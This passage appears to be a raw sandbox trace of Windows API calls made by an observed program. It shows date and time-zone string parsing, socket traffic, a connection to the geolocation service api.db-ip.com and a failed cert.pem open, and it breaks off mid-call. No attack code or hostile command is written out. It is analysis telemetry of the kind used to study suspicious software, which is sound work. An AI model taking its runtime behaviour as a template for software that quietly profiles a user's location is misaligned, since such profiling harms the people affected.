2 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JAN", cchCount2=3) returned 1 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FEB", cchCount2=3) returned 1 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAR", cchCount2=3) returned 1 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="APR", cchCount2=3) returned 1 [0119.603] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAY", cchCount2=3) returned 1 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUN", cchCount2=3) returned 1 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUL", cchCount2=3) returned 1 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AUG", cchCount2=3) returned 1 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEP", cchCount2=3) returned 1 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OCT", cchCount2=3) returned 1 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NOV", cchCount2=3) returned 1 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEC", cchCount2=3) returned 1 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUNE", cchCount2=4) returned 1 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JULY", cchCount2=4) returned 1 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRZ", cchCount2=3) returned 1 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.604] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DEZ", cchCount2=3) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="ENO", cchCount2=3) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FBRO", cchCount2=4) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MZO", cchCount2=3) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AB", cchCount2=2) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AGTO", cchCount2=4) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SBRE", cchCount2=4) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OBRE", cchCount2=4) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="NBRE", cchCount2=4) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DBRE", cchCount2=4) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MRT", cchCount2=3) returned 1 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.605] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MEI", cchCount2=3) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="OKT", cchCount2=3) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JANV", cchCount2=4) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉV", cchCount2=3) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MARS", cchCount2=4) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVR", cchCount2=3) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAI", cchCount2=3) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIN", cchCount2=4) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUIL", cchCount2=4) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛ", cchCount2=3) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="SEPT", cchCount2=4) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="DÉC", cchCount2=3) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="FÉVR", cchCount2=4) returned 1 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.606] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="JUI", cchCount2=3) returned 1 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AOÛT", cchCount2=4) returned 1 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="MAJ", cchCount2=3) returned 1 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="AVG", cchCount2=3) returned 1 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="22", cchCount1=2, lpString2="", cchCount2=0) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="JAN", cchCount2=3) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="FEB", cchCount2=3) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mar", cchCount1=3, lpString2="MAR", cchCount2=3) returned 2 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="A", cchCount2=1) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACDT", cchCount2=4) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACST", cchCount2=4) returned 3 [0119.607] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ACT", cchCount2=3) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ADT", cchCount2=3) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEDT", cchCount2=4) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AEST", cchCount2=4) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AFT", cchCount2=3) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKDT", cchCount2=4) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AKST", cchCount2=4) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMST", cchCount2=4) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AMT", cchCount2=3) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="ART", cchCount2=3) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AST", cchCount2=3) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AWDT", cchCount2=4) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AWST", cchCount2=4) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AZOST", cchCount2=5) returned 3 [0119.608] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GMT", cchCount1=3, lpString2="AZT", cchCount2=3) returned 3 [0119.608] GetTimeZoneInformation (in: lpTimeZoneInformation=0x18fa84 | out: lpTimeZoneInformation=0x18fa84) returned 0x2 [0119.609] LoadStringW (in: hInstance=0x400000, uID=0xfea1, lpBuffer=0x18db44, cchBufferMax=4096 | out: lpBuffer="Chunk Started") returned 0xd [0119.609] GetTickCount64 () returned 0x1150a00 [0119.609] GetTickCount64 () returned 0x1150a00 [0119.609] GetTickCount64 () returned 0x1150a00 [0119.609] select (in: nfds=0, readfds=0x18f8e4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f8e4, writefds=0x0, exceptfds=0x0) returned 1 [0119.609] SetLastError (dwErrCode=0x0) [0119.609] SetLastError (dwErrCode=0x0) [0119.609] WSASetLastError (iError=0) [0119.609] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.609] SetLastError (dwErrCode=0x0) [0119.609] WSASetLastError (iError=0) [0119.609] recv (in: s=0x12c, buf=0x2d51900, len=29, flags=0 | out: buf=0x2d51900*) returned 29 [0119.610] GetTickCount64 () returned 0x1150a00 [0119.610] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0119.610] select (in: nfds=0, readfds=0x18fa58, writefds=0x0, exceptfds=0x0, timeout=0x18fa40*(tv_sec=0, tv_usec=0) | out: readfds=0x18fa58, writefds=0x0, exceptfds=0x0) returned 0 [0119.610] WSASetLastError (iError=0) [0119.610] send (s=0x12c, buf=0x2d409d3*, len=31, flags=0) returned 31 [0119.610] GetCurrentThreadId () returned 0x9fc [0119.610] GetCurrentThreadId () returned 0x9fc [0119.610] GetCurrentThreadId () returned 0x9fc [0119.611] shutdown (s=0x12c, how=1) returned 0 [0119.611] closesocket (s=0x12c) returned 0 [0119.612] socket (af=2, type=1, protocol=0) returned 0x12c [0119.612] getsockopt (in: s=0x12c, level=65535, optname=4104, optval=0x18facc, optlen=0x18fac8 | out: optval="\x01", optlen=0x18fac8) returned 0 [0119.612] getsockopt (in: s=0x12c, level=6, optname=1, optval=0x18facc, optlen=0x18fac8 | out: optval="", optlen=0x18fac8) returned 0 [0119.612] setsockopt (s=0x12c, level=65535, optname=4, optval="", optlen=4) returned 0 [0119.612] htons (hostshort=0x0) returned 0x0 [0119.612] bind (s=0x12c, addr=0x18fa24*(sa_family=2, sin_port=0x0, sin_addr="0.0.0.0"), namelen=16) returned 0 [0119.612] getsockname (in: s=0x12c, name=0x18fa18, namelen=0x18fa98 | out: name=0x18fa18*(sa_family=2, sin_port=0xc00d, sin_addr="0.0.0.0"), namelen=0x18fa98) returned 0 [0119.613] htons (hostshort=0xdc0) returned 0xc00d [0119.613] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.db-ip.com", cchUnicodeChar=13, lpASCIICharStr=0x0, cchASCIIChar=0 | out: lpASCIICharStr=0x0) returned 13 [0119.613] IdnToAscii (in: dwFlags=0x0, lpUnicodeCharStr="api.db-ip.com", cchUnicodeChar=13, lpASCIICharStr=0x80f96c, cchASCIIChar=13 | out: lpASCIICharStr="api.db-ip.com") returned 13 [0119.613] GetAddrInfoW (in: pNodeName="api.db-ip.com", pServiceName=0x0, pHints=0x18facc*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x18faec | out: ppResult=0x18faec*=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949e0*(sa_family=2, sin_port=0x0, sin_addr="104.26.4.15"), ai_next=0x2b949f8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a20*(sa_family=2, sin_port=0x0, sin_addr="104.26.5.15"), ai_next=0x0))) returned 0 [0119.614] FreeAddrInfoW (pAddrInfo=0x2b94870*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b949e0*(sa_family=2, sin_port=0x0, sin_addr="104.26.4.15"), ai_next=0x2b949f8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x2b94a20*(sa_family=2, sin_port=0x0, sin_addr="104.26.5.15"), ai_next=0x0))) [0119.614] htons (hostshort=0x1bb) returned 0xbb01 [0119.614] connect (s=0x12c, name=0x18fa7c*(sa_family=2, sin_port=0x1bb, sin_addr="104.26.4.15"), namelen=16) returned 0 [0119.635] getsockname (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0xc00d, sin_addr="192.168.0.156"), namelen=0x18fae4) returned 0 [0119.637] htons (hostshort=0xdc0) returned 0xc00d [0119.637] getpeername (in: s=0x12c, name=0x18fa64, namelen=0x18fae4 | out: name=0x18fa64*(sa_family=2, sin_port=0x1bb, sin_addr="104.26.4.15"), namelen=0x18fae4) returned 0 [0119.637] htons (hostshort=0xbb01) returned 0x1bb [0119.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1d8) returned 0x2d24c58 [0119.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x180) returned 0x2a0d08 [0119.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x60) returned 0x2aff60 [0119.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2d36560 [0119.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x48) returned 0x2d45f98 [0119.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d360c8 [0119.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34ba0 [0119.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d363c8 [0119.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34bb8 [0119.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253a0 [0119.637] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2b8 [0119.637] GetCurrentThreadId () returned 0x9fc [0119.637] GetCurrentThreadId () returned 0x9fc [0119.637] GetCurrentThreadId () returned 0x9fc [0119.637] GetCurrentThreadId () returned 0x9fc [0119.637] GetCurrentThreadId () returned 0x9fc [0119.637] GetCurrentThreadId () returned 0x9fc [0119.637] GetCurrentThreadId () returned 0x9fc [0119.637] GetCurrentThreadId () returned 0x9fc [0119.637] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] GetCurrentThreadId () returned 0x9fc [0119.638] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x9c4) returned 0x2d4aea0 [0119.638] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x404) returned 0x2d24e80 [0119.638] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0119.638] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x348) returned 0x2d24e80 [0119.638] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d24e80 | out: hHeap=0x2a0000) returned 1 [0119.638] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361e8 [0119.638] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.638] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x20) returned 0x2d4a2e0 [0119.638] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a2e0, Size=0x40) returned 0x2d36638 [0119.638] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d36638, Size=0x80) returned 0x2d4ead8 [0119.638] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d59000 [0119.638] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d59000, Size=0x200) returned 0x2d37690 [0119.638] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aea0 | out: hHeap=0x2a0000) returned 1 [0119.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36128 [0119.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.639] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d34b40, Size=0x200) returned 0x2d37488 [0119.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2d253d8 [0119.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x1c) returned 0x2d4a2e0 [0119.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36228 [0119.639] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34b40 [0119.639] GetCurrentThreadId () returned 0x9fc [0119.639] GetCurrentThreadId () returned 0x9fc [0119.639] GetCurrentThreadId () returned 0x9fc [0119.639] GetCurrentThreadId () returned 0x9fc [0119.639] GetCurrentThreadId () returned 0x9fc [0119.639] GetCurrentThreadId () returned 0x9fc [0119.639] CreateFileW (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8ec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.639] GetLastError () returned 0x3 [0119.639] GetLastError () returned 0x3 [0119.639] CreateFileA (lpFileName="/usr/local/ssl/cert.pem" (normalized: "c:\\usr\\local\\ssl\\cert.pem"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x18f8f0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.640] GetLastError () returned 0x3 [0119.640] GetLastError () returned 0x3 [0119.640] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d356f8, Size=0x20) returned 0x2d4a600 [0119.640] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a600, Size=0x40) returned 0x2d36638 [0119.640] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d36638, Size=0x80) returned 0x2d4ead8 [0119.640] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4ead8, Size=0x100) returned 0x2d59000 [0119.640] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d59000, Size=0x200) returned 0x2d37898 [0119.640] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4aea0 | out: hHeap=0x2a0000) returned 1 [0119.640] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d36388 [0119.640] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d356f8 [0119.640] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d356f8, Size=0x200) returned 0x2d37aa0 [0119.640] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37690 | out: hHeap=0x2a0000) returned 1 [0119.640] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361e8 | out: hHeap=0x2a0000) returned 1 [0119.640] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d37488 | out: hHeap=0x2a0000) returned 1 [0119.640] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36128 | out: hHeap=0x2a0000) returned 1 [0119.640] setsockopt 